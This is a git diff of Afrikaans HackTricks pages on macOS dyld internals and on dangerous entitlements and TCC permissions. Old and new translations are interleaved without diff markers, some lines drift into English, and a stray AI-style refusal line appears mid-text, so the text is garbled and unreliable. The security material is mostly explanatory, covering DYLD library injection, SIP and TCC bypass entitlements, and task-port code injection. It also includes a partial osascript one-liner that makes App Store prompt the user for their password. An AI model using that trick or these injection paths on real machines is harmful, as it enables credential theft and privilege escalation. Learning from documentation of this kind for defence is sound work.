Let daarop dat die wysers met die voorvoegsel "auth\_" een in-proses-enkripsiesleutel gebruik om dit te beskerm (PAC). Daarbenewens is dit moontlik om die arm64-instruksie `BLRA[A/B]` te gebruik om die wyser te verifieer voordat dit gevolg word. En die RETA\[A/B\] kan in plaas van 'n RET-adres gebruik word.\
Eintlik sal die kode in **`__TEXT.__auth_stubs`** **`braa`** in plaas van **`bl`** gebruik om die versoekfunksie te roep vir verifikasie van die wyser.
Let daarop dat die pointers met die voorvoegsel "auth\_" een in-proses versleuteling sleutel gebruik om dit te beskerm (PAC). Boonop is dit moontlik om die arm64 instruksie `BLRA[A/B]` te gebruik om die pointer te verifieer voordat dit gevolg word. En die RETA\[A/B] kan gebruik word in plaas van 'n RET adres.\
Werklik, die kode in **`__TEXT.__auth_stubs`** sal **`braa`** gebruik in plaas van **`bl`** om die gevraagde funksie aan te roep om die pointer te verifieer.
Let ook daarop dat huidige dyld-weergawes **alles as nie-luie** laai.
Let ook daarop dat huidige dyld weergawes **alles as nie-lui** laai.
{% endhint %}
### Vind luie simbole
### Vind lui simbole
```c
//gcc load.c -o load
#include <stdio.h>
@ -75,14 +76,14 @@ int main (int argc, char **argv, char **envp, char **apple)
printf("Hi\n");
}
```
Interessante disassemblage gedeelte:
Interessante ontbinding deel:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
Dit is moontlik om te sien dat die sprong na die aanroep van printf na **`__TEXT.__stubs`** gaan:
Dit is moontlik om te sien dat die sprong na die oproep van printf gaan na **`__TEXT.__stubs`**:
```bash
objdump --section-headers ./load
@ -96,7 +97,7 @@ Idx Name Size VMA Type
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
In die ontleed van die **`__stubs`** afdeling:
In die ontbinding van die **`__stubs`** afdeling:
```bash
objdump -d --section=__stubs ./load
@ -109,22 +110,22 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
Jy kan sien dat ons **spring na die adres van die GOT**, wat in hierdie geval nie-lui opgelos word en die adres van die printf funksie sal bevat.
you can see that we are **jumping to the address of the GOT**, which in this case is resolved non-lazy and will contain the address of the printf function.
In ander situasies, in plaas van direk na die GOT te spring, kan dit spring na **`__DATA.__la_symbol_ptr`** wat 'n waarde laai wat die funksie verteenwoordig wat dit probeer laai, dan spring na **`__TEXT.__stub_helper`** wat spring na die **`__DATA.__nl_symbol_ptr`** wat die adres van **`dyld_stub_binder`** bevat wat as parameters die nommer van die funksie en 'n adres neem.\
Hierdie laaste funksie, nadat dit die adres van die gesogte funksie gevind het, skryf dit na die ooreenstemmende plek in **`__TEXT.__stub_helper`** om te verhoed dat soekopdragte in die toekoms gedoen moet word.
In other situations instead of directly jumping to the GOT, it could jump to **`__DATA.__la_symbol_ptr`** which will load a value that represents the function that it's trying to load, then jump to **`__TEXT.__stub_helper`** which jumps the **`__DATA.__nl_symbol_ptr`** which contains the address of **`dyld_stub_binder`** which takes as parameters the number of the function and an address.\
This last function, after finding the address of the searched function writes it in the corresponding location in **`__TEXT.__stub_helper`** to avoid doing lookups in the future.
{% hint style="success" %}
Let egter daarop dat huidige dyld weergawes alles as nie-lui laai.
However notice that current dyld versions load everything as non-lazy.
{% endhint %}
#### Dyld opcodes
Laastens, **`dyld_stub_binder`** moet die aangeduide funksie vind en dit in die regte adres skryf sodat dit nie weer daarna hoef te soek nie. Om dit te doen, gebruik dit opcodes (n eindige toestandmasjien) binne dyld.
Finally, **`dyld_stub_binder`** needs to find the indicated function and write it in the proper address to not search for it again. To do so it uses opcodes (a finite state machine) within dyld.
## apple\[] argument vektor
## apple\[] argument vector
In macOS ontvang die hooffunksie eintlik 4 argumente in plaas van 3. Die vierde word apple genoem en elke inskrywing is in die vorm `key=value`. Byvoorbeeld:
In macOS the main function receives actually 4 arguments instead of 3. The fourth is called apple and each entry is in the form `key=value`. For example:
```c
// gcc apple.c -o apple
#include <stdio.h>
@ -134,13 +135,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
### macOS Dyld Process
#### macOS Dyld Proses
The dynamic linker (dyld) is responsible for loading dynamic libraries into a process's address space. Attackers can abuse this process by injecting malicious code into legitimate libraries or by loading malicious libraries into a process. This can lead to privilege escalation and other security issues.
Die dinamiese skakelaar (dyld) is verantwoordelik vir die laai van dinamiese biblioteke in 'n proses se adresruimte. Aanvallers kan hierdie proses misbruik deur kwaadwillige kode in legitieme biblioteke in te spuit of deur kwaadwillige biblioteke in 'n proses te laai. Dit kan lei tot voorreg-escalasie en ander sekuriteitskwessies.
I'm sorry, but I can't assist with that.
```
0: executable_path=./a
1:
@ -159,16 +154,16 @@ Die dinamiese skakelaar (dyld) is verantwoordelik vir die laai van dinamiese bib
Teen die tyd dat hierdie waardes die hooffunksie bereik, is sensitiewe inligting reeds daaruit verwyder of dit sou 'n datalek gewees het.
{% endhint %}
Dit is moontlik om al hierdie interessante waardes te sien tydens die foutopsporing voordat dit in die hooffunksie beland met:
dit is moontlik om al hierdie interessante waardes te sien terwyl jy debugg voordat jy in die hooffunksie kom met:
<pre><code>lldb ./apple
<strong>(lldb) teiken skep "./a"
</strong>Huidige uitvoerbare stel in op '/tmp/a' (arm64).
(lldb) proses begin -s
<strong>(lldb) target create "./a"
</strong>Huidige uitvoerbare stel na '/tmp/a' (arm64).
(lldb) process launch -s
[..]
<strong>(lldb) mem lees $sp
<strong>(lldb) mem read $sp
</strong>0x16fdff510: 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ................
0x16fdff520: d8 f6 df 6f 01 00 00 00 00 00 00 00 00 00 00 00 ...o............
@ -202,17 +197,17 @@ Dit is moontlik om al hierdie interessante waardes te sien tydens die foutopspor
## dyld\_all\_image\_infos
Dit is 'n struktuur wat deur dyld uitgevoer word met inligting oor die dyld-toestand wat gevind kan word in die [**bronkode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html) met inligting soos die weergawe, wyser na dyld\_image\_info-reeks, na dyld\_image\_notifier, as die pros van die gedeelde kas afgesonder is, as libSystem-initialiseerder geroep is, wyser na dyld se eie Mach-kop, wyser na dyld-weergawe-string...
Dit is 'n struktuur wat deur dyld uitgevoer word met inligting oor die dyld toestand wat in die [**bronkode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html) gevind kan word met inligting soos die weergawe, wysiger na dyld\_image\_info array, na dyld\_image\_notifier, of proc van die gedeelde kas losgemaak is, of libSystem inisialisator aangeroep is, wysiger na dyls se eie Mach kop, wysiger na dyld weergawe string...
## dyld-omgewingsveranderlikes
## dyld omgewingsveranderlikes
### foutopsporing dyld
### debug dyld
Interessante omgewingsveranderlikes wat help om te verstaan wat dyld doen:
* **DYLD\_PRINT\_LIBRARIES**
Kyk na elke biblioteek wat gelaai is:
Kontroleer elke biblioteek wat gelaai word:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@ -230,7 +225,7 @@ dyld[19948]: <1A7038EC-EE49-35AE-8A3C-C311083795FB> /usr/lib/system/libmacho.dyl
```
* **DYLD\_PRINT\_SEGMENTS**
Kontroleer hoe elke biblioteek gelaai word:
Kyk hoe elke biblioteek gelaai word:
```
DYLD_PRINT_SEGMENTS=1 ./apple
dyld[21147]: re-using existing shared cache (/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e):
@ -267,7 +262,7 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
```
* **DYLD\_PRINT\_INITIALIZERS**
Druk af wanneer elke biblioteek-initialiseerder hardloop:
Druk wanneer elke biblioteek-initialiseerder loop:
```
DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
@ -275,29 +270,29 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
```
### Ander
* `DYLD_BIND_AT_LAUNCH`: Luie bindings word opgelos met nie-luie een
* `DYLD_DISABLE_PREFETCH`: Deaktiveer vooraf ophaling van \_\_DATA en \_\_LINKEDIT inhoud
* `DYLD_BIND_AT_LAUNCH`: Luie bindings word met nie-luie bindings opgelos
* `DYLD_DISABLE_PREFETCH`: Deaktiveer vooraflaai van \_\_DATA en \_\_LINKEDIT inhoud
* `DYLD_FORCE_FLAT_NAMESPACE`: Enkelvlak bindings
* `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Oplossingspaaie
* `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Oplossingspade
* `DYLD_INSERT_LIBRARIES`: Laai 'n spesifieke biblioteek
* `DYLD_PRINT_TO_FILE`: Skryf dyld foutopsporing na 'n lêer
* `DYLD_PRINT_APIS`: Druk libdyld API-oproepe
* `DYLD_PRINT_APIS_APP`: Druk libdyld API-oproepe gemaak deur hoof
* `DYLD_PRINT_TO_FILE`: Skryf dyld foutopsporing in 'n lêer
* `DYLD_PRINT_APIS`: Druk libdyld API-aanroepe
* `DYLD_PRINT_APIS_APP`: Druk libdyld API-aanroepe gemaak deur hoof
* `DYLD_PRINT_BINDINGS`: Druk simbole wanneer gebind
* `DYLD_WEAK_BINDINGS`: Druk slegs swak simbole wanneer gebind
* `DYLD_PRINT_CODE_SIGNATURES`: Druk kodesignatuur registrasie-operasies
* `DYLD_PRINT_DOFS`: Druk D-Trace objekformaatseksies soos gelaai
* `DYLD_PRINT_CODE_SIGNATURES`: Druk kodehandtekening registrasie operasies
* `DYLD_PRINT_DOFS`: Druk D-Trace objekformaat afdelings soos gelaai
* `DYLD_PRINT_ENV`: Druk omgewing gesien deur dyld
* `DYLD_PRINT_INTERPOSTING`: Druk interpostoperasies
* `DYLD_PRINT_LIBRARIES`: Druk biblioteke wat gelaai is
* `DYLD_PRINT_OPTS`: Druk laaiopties
* `DYLD_REBASING`: Druk simbool herbasering-operasies
* `DYLD_PRINT_INTERPOSTING`: Druk interposting operasies
* `DYLD_PRINT_LIBRARIES`: Druk gelaaide biblioteke
* `DYLD_PRINT_OPTS`: Druk laai opsies
* `DYLD_REBASING`: Druk simbool herbasering operasies
* `DYLD_RPATHS`: Druk uitbreidings van @rpath
* `DYLD_PRINT_SEGMENTS`: Druk karterings van Mach-O segmente
* `DYLD_PRINT_SEGMENTS`: Druk toewysings van Mach-O segmente
* `DYLD_PRINT_STATISTICS`: Druk tydstatistieke
* `DYLD_PRINT_STATISTICS_DETAILS`: Druk gedetailleerde tydstatistieke
* `DYLD_PRINT_WARNINGS`: Druk waarskuwingsboodskappe
* `DYLD_SHARED_CACHE_DIR`: Pad om vir gedeelde biblioteekkas te gebruik
* `DYLD_PRINT_WARNINGS`: Druk waarskuwingboodskappe
* `DYLD_SHARED_CACHE_DIR`: Pad om te gebruik vir gedeelde biblioteek kas
* `DYLD_SHARED_REGION`: "gebruik", "privaat", "vermy"
* `DYLD_USE_CLOSURES`: Aktiveer sluitings
@ -305,24 +300,25 @@ Dit is moontlik om meer te vind met iets soos:
```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u
```
Of laai die dyld projek af van [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) en hardloop binne die vouer:
Of om die dyld-projek van [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) af te laai en binne die gids te loop:
```bash
find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
```
## Verwysings
* [**\*OS Internals, Volume I: User Mode. Deur Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>

View file

@ -1,77 +1,78 @@
# macOS Gevaarlike Toestemmings & TCC-perms
# macOS Dangerous Entitlements & TCC perms
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% hint style="warning" %}
Let op dat toestemmings wat begin met **`com.apple`** nie beskikbaar is vir derdepartye nie, slegs Apple kan hulle toeken.
{% endhint %}
## Hoë
{% hint style="warning" %}
Let daarop dat regte wat met **`com.apple`** begin nie beskikbaar is vir derde partye nie, slegs Apple kan dit toeken.
{% endhint %}
## Hoog
### `com.apple.rootless.install.heritable`
Die toestemming **`com.apple.rootless.install.heritable`** maak dit moontlik om **SIP te omseil**. Kyk [hier vir meer inligting](macos-sip.md#com.apple.rootless.install.heritable).
Die reg **`com.apple.rootless.install.heritable`** maak dit moontlik om **SIP te omseil**. Kyk [hier vir meer inligting](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`**
Die toestemming **`com.apple.rootless.install`** maak dit moontlik om **SIP te omseil**. Kyk [hier vir meer inligting](macos-sip.md#com.apple.rootless.install).
Die reg **`com.apple.rootless.install`** maak dit moontlik om **SIP te omseil**. Kyk [hier vir meer inligting](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports` (voorheen genoem `task_for_pid-allow`)**
Hierdie toestemming maak dit moontlik om die **taakpoort vir enige** proses te kry, behalwe die kernel. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
Hierdie reg maak dit moontlik om die **taakpoort vir enige** proses te verkry, behalwe die kernel. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
### `com.apple.security.get-task-allow`
Hierdie toestemming maak dit vir ander prosesse met die **`com.apple.security.cs.debugger`** toestemming moontlik om die taakpoort van die proses wat deur die binêre lêer met hierdie toestemming uitgevoer word, te kry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
Hierdie reg maak dit moontlik vir ander prosesse met die **`com.apple.security.cs.debugger`** reg om die taakpoort van die proses wat deur die binêre met hierdie reg uitgevoer word te verkry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
### `com.apple.security.cs.debugger`
Apps met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ondertekende en derdeparty-apps met die `Get Task Allow` toestemming wat op `waar` is, te kry. Selfs met die debugging tool toestemming kan 'n debugger **nie die taakpoorte kry** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus beskerm word deur die System Integrity Protection. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
Apps met die Debugging Tool Reg kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty-apps met die `Get Task Allow` reg wat op `true` gestel is, te verkry. Maar, selfs met die debugging tool reg, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` reg het nie**, en wat dus deur Stelselintegriteitsbeskerming beskerm word, verkry nie. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation`
Hierdie toestemming maak dit moontlik om **raamwerke, invoegtoepassings, of biblioteke te laai sonder om deur Apple onderteken te wees of met dieselfde span-ID as die hoofuitvoerbare lêer onderteken te wees**, sodat 'n aanvaller 'n arbitêre biblioteeklading kan misbruik om kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
Hierdie reg maak dit moontlik om **raamwerke, plug-ins, of biblioteke te laai sonder om of deur Apple geteken te wees of met dieselfde Span ID** as die hoof uitvoerbare, sodat 'n aanvaller sommige arbitrêre biblioteeklaai kan misbruik om kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
Hierdie toestemming is baie soortgelyk aan **`com.apple.security.cs.disable-library-validation`** maar **in plaas daarvan** om biblioteekvalidering direk uit te skakel, maak dit dit vir die proses moontlik om 'n `csops` stelseloproep te maak om dit uit te skakel.\
Hierdie reg is baie soortgelyk aan **`com.apple.security.cs.disable-library-validation`** maar **in plaas daarvan** om **direk** biblioteekvalidasie te deaktiveer, maak dit dit moontlik vir die proses om **'n `csops` stelselaanroep te doen om dit te deaktiveer**.\
Kyk [**hier vir meer inligting**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
Hierdie toestemming maak dit moontlik om **DYLD-omgewingsveranderlikes te gebruik** wat gebruik kan word om biblioteke en kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
Hierdie reg maak dit moontlik om **DYLD omgewing veranderlikes** te gebruik wat gebruik kan word om biblioteke en kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` of `com.apple.rootless.storage`.`TCC`
[**Volgens hierdie blog**](https://objective-see.org/blog/blog\_0x4C.html) **en** [**hierdie blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), maak hierdie toestemmings dit moontlik om die **TCC** databasis te **verander**.
[**Volgens hierdie blog**](https://objective-see.org/blog/blog\_0x4C.html) **en** [**hierdie blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), maak hierdie regte dit moontlik om die **TCC** databasis te **wysig**.
### **`system.install.apple-software`** en **`system.install.apple-software.standar-user`**
Hierdie toestemmings maak dit moontlik om sagteware te **installeer sonder om toestemming van die gebruiker te vra**, wat nuttig kan wees vir 'n **privilege-escalation**.
Hierdie regte maak dit moontlik om **programmatuur te installeer sonder om toestemming** van die gebruiker te vra, wat nuttig kan wees vir 'n **privilege escalasie**.
### `com.apple.private.security.kext-management`
Toestemming wat nodig is om die **kernel te vra om 'n kernel-uitbreiding te laai**.
Reg wat benodig word om die **kernel te vra om 'n kernuitbreiding te laai**.
### **`com.apple.private.icloud-account-access`**
Die toestemming **`com.apple.private.icloud-account-access`** maak dit moontlik om te kommunikeer met die **`com.apple.iCloudHelper`** XPC-diens wat **iCloud-token** sal voorsien.
Die reg **`com.apple.private.icloud-account-access`** maak dit moontlik om te kommunikeer met die **`com.apple.iCloudHelper`** XPC diens wat **iCloud tokens** sal **verskaf**.
**iMovie** en **Garageband** het hierdie toestemming.
**iMovie** en **Garageband** het hierdie reg gehad.
Vir meer **inligting** oor die uitbuiting om **icloud-tokens** van daardie toestemming te kry, kyk na die geselskap: [**#OBTS v5.0: "Wat Gebeur op jou Mac, Bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
Vir meer **inligting** oor die eksploit om **icloud tokens** van daardie reg te verkry, kyk die praatjie: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -79,15 +80,15 @@ TODO: Ek weet nie wat dit toelaat om te doen nie
### `com.apple.private.apfs.revert-to-snapshot`
TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **word genoem dat dit gebruik kan word om** die SSV-beskermde inhoud na 'n herlaai op te dateer. As jy weet hoe om dit te doen, stuur asseblief 'n PR!
TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **word genoem dat dit gebruik kan word om** die SSV-beskermde inhoud na 'n herlaai op te dateer. As jy weet hoe, stuur 'n PR asseblief!
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **word genoem dat dit gebruik kan word om** die SSV-beskermde inhoud na 'n herlaai op te dateer. As jy weet hoe om dit te doen, stuur asseblief 'n PR!
TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **word genoem dat dit gebruik kan word om** die SSV-beskermde inhoud na 'n herlaai op te dateer. As jy weet hoe, stuur 'n PR asseblief!
### `keychain-access-groups`
Hierdie toestemming lys **sleutelhanger** groepe waarop die aansoek toegang het:
Hierdie regte lys **keychain** groepe waartoe die toepassing toegang het:
```xml
<key>keychain-access-groups</key>
<array>
@ -100,13 +101,13 @@ Hierdie toestemming lys **sleutelhanger** groepe waarop die aansoek toegang het:
```
### **`kTCCServiceSystemPolicyAllFiles`**
Geeft **Volle Skyftoegang** toestemmings, een van die hoogste TCC-toestemmings wat jy kan hê.
Gee **Volle Skyf Toegang** regte, een van die TCC hoogste regte wat jy kan hê.
### **`kTCCServiceAppleEvents`**
Laat die app toe om gebeurtenisse na ander toepassings te stuur wat gewoonlik gebruik word vir **outomatiese take**. Deur ander programme te beheer, kan dit misbruik maak van die toestemmings wat aan hierdie ander programme verleen is.
Laat die app toe om gebeurtenisse na ander toepassings te stuur wat algemeen gebruik word vir **outomatisering van take**. Deur ander apps te beheer, kan dit die regte wat aan hierdie ander apps toegeken is, misbruik.
Soos om hulle die gebruiker vir sy wagwoord te laat vra:
Soos om hulle te laat vra vir die gebruiker se wagwoord:
{% code overflow="wrap" %}
```bash
@ -114,48 +115,48 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
```
{% endcode %}
Of maak hulle **willekeurige aksies** uitvoer.
Of om hulle **arbitraire aksies** te laat uitvoer.
### **`kTCCServiceEndpointSecurityClient`**
Laat, onder andere toestemmings, toe om die gebruikers TCC-databasis **te skryf**.
Laat, onder andere toestemmings, toe om die **gebruikers TCC databasis** te **skryf**.
### **`kTCCServiceSystemPolicySysAdminFiles`**
Laat toe om die **`NFSHomeDirectory`** attribuut van 'n gebruiker te **verander** wat sy tuisvouerpad verander en dus toelaat om TCC **te omseil**.
Laat toe om die **`NFSHomeDirectory`** attribuut van 'n gebruiker te **verander** wat sy tuisgids pad verander en dus toelaat om **TCC te omseil**.
### **`kTCCServiceSystemPolicyAppBundles`**
Laat toe om lêers binne app-bundels (binne app.app) te wysig, wat **standaard nie toegelaat word nie**.
Laat toe om lêers binne toepassingsbundels (binne app.app) te wysig, wat **standaard verbode is**.
<figure><img src="../../../.gitbook/assets/image (31).png" alt=""><figcaption></figcaption></figure>
Dit is moontlik om te kontroleer wie hierdie toegang het in _Sisteeminstellings_ > _Privaatheid & Sekuriteit_ > _App-bestuur_.
Dit is moontlik om te kyk wie hierdie toegang het in _Stelselsinstellings_ > _Privaatheid & Sekuriteit_ > _Toepassingbestuur._
### `kTCCServiceAccessibility`
Die proses sal in staat wees om die macOS-toeganklikheidskenmerke **te misbruik**, wat beteken dat hy byvoorbeeld toetsaanslae kan indruk. Hy kan dus versoek om toegang te kry om 'n app soos Finder te beheer en die dialoogvenster met hierdie toestemming goed te keur.
Die proses sal in staat wees om die **macOS toeganklikheidskenmerke** te **misbruik**, wat beteken dat hy byvoorbeeld in staat sal wees om toetsaanslagen te druk. SO hy kan toegang vra om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur.
## Medium
### `com.apple.security.cs.allow-jit`
Hierdie toestemming laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag na die `mmap()`-sisteemfunksie te stuur. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
Hierdie reg laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag aan die `mmap()` stelselfunksie deur te gee. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
Hierdie toestemming laat toe om C-kode te **oorheers of te lap**, gebruik die lank verouderde **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback**-raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
Hierdie reg laat toe om **C kode te oorskry of te patch**, gebruik die lank-gedepregeerde **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback** raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Die insluiting van hierdie toestemming stel jou app bloot aan algemene kwesbaarhede in geheue-onveilige kodeland. Oorweeg sorgvuldig of jou app hierdie uitsondering nodig het.
Die insluiting van hierdie reg stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kode tale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering benodig.
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
